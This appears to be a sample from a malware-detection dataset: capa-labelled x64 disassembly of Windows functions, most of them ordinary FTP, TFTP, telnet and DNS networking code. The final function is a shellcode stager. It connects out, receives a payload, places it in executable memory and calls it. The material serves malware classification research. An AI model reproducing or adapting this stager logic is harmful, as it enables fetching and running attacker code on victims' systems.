joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400827a0
Capabilities:
Resolve dns

Disassembly:
push rbx
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
mov ebx, r13d
lea r9, [rsp + 0x68]
mov r15d, r13d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x140082964
mov qword [rsp + 0x58], rsi
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
test rsi, rsi
je 0x140082944
mov qword [rsp + 0x50], rbp
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x1400827fd
lea ebp, [rax + 0xe]
jmp 0x140082809
cmp eax, 0x17
jne 0x1400828b1
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], r13
je 0x1400828b1
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400828b1
cmp rax, rbp
jb 0x1400828b1
mov ecx, Ordinal_50
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400828ec
mov ecx, dword [rsi]
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov dword [rax + 0x10], ebp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x1400828db
mov rdx, qword [rsi + 0x20]
mov r8, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x14008289e
call qword [case.0x140065759.0]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x1400828c0
test rbx, rbx
cmove rbx, rdi
test r15, r15
je 0x1400828ae
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x1400827f0
jmp 0x1400828f2
mov rcx, qword [rdi + 0x20]
mov r14d, 8
call qword [fcn.1400aa8be]
mov rcx, rdi
call qword [fcn.1400aa8be]
jmp 0x1400828f2
mov rcx, rdi
mov r14d, 8
call qword [fcn.1400aa8be]
jmp 0x1400828f2
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x140082907
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r14d, r14d
je 0x14008293f
test rbx, rbx
je 0x14008293a
mov rcx, qword [rbx + 0x20]
call qword [fcn.1400aa8be]
mov rcx, qword [rbx + 0x18]
call qword [fcn.1400aa8be]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [fcn.1400aa8be]
mov rbx, rdi
test rdi, rdi
jne 0x140082911
mov rbx, r13
jmp 0x140082953
test rbx, rbx
jne 0x140082953
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r14d
mov rsi, qword [rsp + 0x58]
mov qword [r12], rbx
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbx
ret

Function at 0x140082e20
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x140086010
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x1400cd030]
mov rdi, rax
test rax, rax
je 0x14008608d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x1400860b8
cmp ebx, esi
je 0x1400860b8
cmp ebx, 0x8000
ja 0x1400860b8
cmp ebx, esi
jb 0x1400860b3
mov edx, ebx
mov rcx, rdi
call qword [0x1400cd030]
mov rdi, rax
test rax, rax
jne 0x140086050
mov rcx, rbp
call qword [fcn.1400aa8be]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x140086098
mov rcx, rdi
jmp 0x140086090

Function at 0x14008c660
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400cd080]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x14008c6da
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.140071230
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x14008c6ff
lea rdx, str.Error_accept__ing_server_connect
call fcn.1400705d0
lea eax, [rbx + 0x1f]
jmp 0x14008c778
lea rdx, str.Connection_accepted_from_server_n
call fcn.140070750
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.14007ed60
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x14008c776
mov dl, 1
mov rcx, rsi
call fcn.140060ef0
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.140060ef0
test ebx, ebx
je 0x14008c776
mov rcx, rdi
call fcn.14008cc90
mov eax, Ordinal_46
jmp 0x14008c778
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400a9190
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14008d770
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x14008d795
cmp dword [rax + 0x9f8], 0
je 0x14008d7c1
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14008d7c1
lea rdx, str.MDTM__s
call fcn.1400a47c0
test eax, eax
jne 0x14008d7ce
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14008e600
add rsp, 0x20
pop rbx
ret
Function at 0x14008df80
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x14008dfb8
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14008e0d0
cmp byte [rcx + 0xf0e], 0
je 0x14008dfd0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14008eac0
cmp byte [rcx + 0xf11], 0
je 0x14008e071
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x14008e02b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x14008e00e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.1400a47c0
test eax, eax
je 0x14008e061
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x14008e051
lea rdx, str.PRET_STOR__s
call fcn.1400a47c0
test eax, eax
je 0x14008e061
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.1400a47c0
test eax, eax
jne 0x14008e07e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14008ea30
add rsp, 0x20
pop rbx
ret

Function at 0x14008e3c0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x14008e40d
cmp qword [rcx + 0xa88], 0
je 0x14008e40d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.1400a47c0
test eax, eax
jne 0x14008e417
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.14008df80
add rsp, 0x20
pop rbx
ret

Function at 0x14008e5a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x14008e5ec
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14008e5ec
lea rdx, str.SIZE__s
call fcn.1400a47c0
test eax, eax
jne 0x14008e5f9
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14008e3c0
add rsp, 0x20
pop rbx
ret

Function at 0x14008e600
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x14008e658
cmp qword [rcx + 0xa88], 0
je 0x14008e658
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x14008e658
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.14008cea0
jmp fcn.14008e5a0
Function at 0x14008e660
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x14008e695
lea rdx, str.Couldnt_set_desired_mode
call fcn.1400705d0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x14008e6ac
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.140070750
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x14008e6c8
mov rcx, rdi
call fcn.14008e5a0
jmp 0x14008e7ff
cmp esi, 0x14
jne 0x14008e7e1
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x14008e749
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x14008e749
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.140086150
test eax, eax
jne 0x14008e7ff
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x14008e73e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x14008e749
mov rcx, qword [rsp + 0x50]
call qword [fcn.1400aa8be]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x14008e76d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400bd5ff]
test rbp, rbp
mov r9, r8
lea rax, [0x1400b013c]
cmovne r9, rbp
lea rcx, [0x1400b33b8]
cmovne r8, rax
call fcn.14005edc0
mov rcx, rbp
mov r14, rax
call qword [fcn.1400aa8be]
test r14, r14
jne 0x14008e7ac
lea ebx, [r14 + 0x1b]
jmp 0x14008e801
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400b7c40]
call fcn.1400a47c0
mov rcx, r14
mov esi, eax
call qword [fcn.1400aa8be]
test esi, esi
je 0x14008e7d5
mov ebx, esi
jmp 0x14008e801
mov dword [rdi + 0xab8], 0x1f
jmp 0x14008e801
cmp esi, 0x15
jne 0x14008e7ec
lea r8d, [rsi - 8]
jmp 0x14008e7f5
cmp esi, 0x16
jne 0x14008e801
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.14008e0d0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400940f0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x140094214
cmp r8d, 0xff
jne 0x140094151
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14009413b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xb97c0]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.140070750
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.140070750
cmp r8d, 0xfb
jne 0x140094163
lea r9, str.WILL
jmp 0x1400941a1
cmp r8d, 0xfc
jne 0x140094175
lea r9, str.WONT
jmp 0x1400941a1
cmp r8d, 0xfd
jne 0x140094187
lea r9, [0x1400ba1e4]
jmp 0x1400941a1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400941fd
cmp r10d, 0x27
jg 0x1400941d4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xb9de0]
test r8, r8
jne 0x1400941e4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.140070750
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400941bb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.140070750
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.140070750
add rsp, 0x38
ret

Function at 0x140094560
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400945bf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400705d0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400940f0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140094770
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140094918
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400947d5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400947d5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400947d5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14009480c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x140094862
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140094862
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140094862
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140094862
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140094862
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140094220
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400948c4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400705d0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400945f0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140094910
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400705d0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x140096080
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400cd080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140096115
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x140096176
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400705d0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400a9190
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x140096231
sub ecx, 1
je 0x1400962a4
sub ecx, 1
je 0x1400961e0
cmp ecx, 1
je 0x1400961c3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400b7c40]
call fcn.1400705d0
jmp 0x1400962a4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.140095db0
test eax, eax
je 0x1400962a4
jmp 0x14009614a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400962a4
sub rax, rsi
cmp rax, rbp
jae 0x1400962a4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140070750
jmp 0x1400962a4
cmp r8d, 4
jle 0x1400962a4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400962a4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400704f0
mov esi, eax
test eax, eax
je 0x140096283
mov edx, 5
mov rcx, rbx
call fcn.140096d70
mov eax, esi
jmp 0x14009614a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14007efd0
mov rcx, r14
call fcn.14007f2b0
test eax, eax
je 0x140096148
mov edx, 5
mov rcx, rbx
call fcn.140096d70
mov eax, Ordinal_46
jmp 0x14009614a
Function at 0x1400a9040
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400a9082
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400a90c9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400a9122
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400a90e0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400a9163
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400bd3ca]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400bd3cb]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400a9130
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400a9f6c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400a9fb6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400a9fb6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400a9fb6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400a9fb6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400a9fb6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400a9fb8
xor al, al
add rsp, 0x28
ret
Function at 0x140001540
Capabilities:
Allocate or change rwx memory
Connect socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
mov eax, 0x1c108
call fcn.140002430
sub rsp, rax
mov rax, qword [0x140001068]
xor rax, rsp
mov qword [rsp + 0x1c0f0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001590
mov eax, 1
mov rcx, qword [rsp + 0x1c0f0]
xor rcx, rsp
call fcn.140001730
add rsp, 0x1c108
ret
xor r8d, r8d
mov qword [rsp + 0x1c110], rbx
mov ebx, 2
mov qword [rsp + 0x1c100], rdi
mov ecx, ebx
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400015fa
xorps xmm0, xmm0
lea r9, [rsp + 0x20]
movups xmmword [rsp + 0x28], xmm0
mov word [rsp + 0x28], bx
lea rdx, [0x1400010c0]
xor ebx, ebx
lea rcx, [0x1400010c8]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x14000160a
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400016f5
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x28]
mov r8, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x28]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, rdi
cmp eax, 0xffffffff
jne 0x14000165e
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, 1
jmp 0x1400016f5
xor r9d, r9d
lea rdx, [rsp + 0x1e0]
mov r8d, 0x1bf02
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400016b0
nop dword [rax]
add eax, ebx
movsxd rbx, eax
cmp eax, 0x1bf02
jae 0x1400016b0
mov r8d, 0x1bf02
lea rdx, [rsp + 0x1e0]
sub r8d, eax
add rdx, rbx
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140001680
movsxd rbx, ebx
mov r9d, 0x40
mov rdx, rbx
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbx
lea rdx, [rsp + 0x1e0]
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbx, qword [rsp + 0x1c110]
mov rdi, qword [rsp + 0x1c100]
mov rcx, qword [rsp + 0x1c0f0]
xor rcx, rsp
call fcn.140001730
add rsp, 0x1c108
ret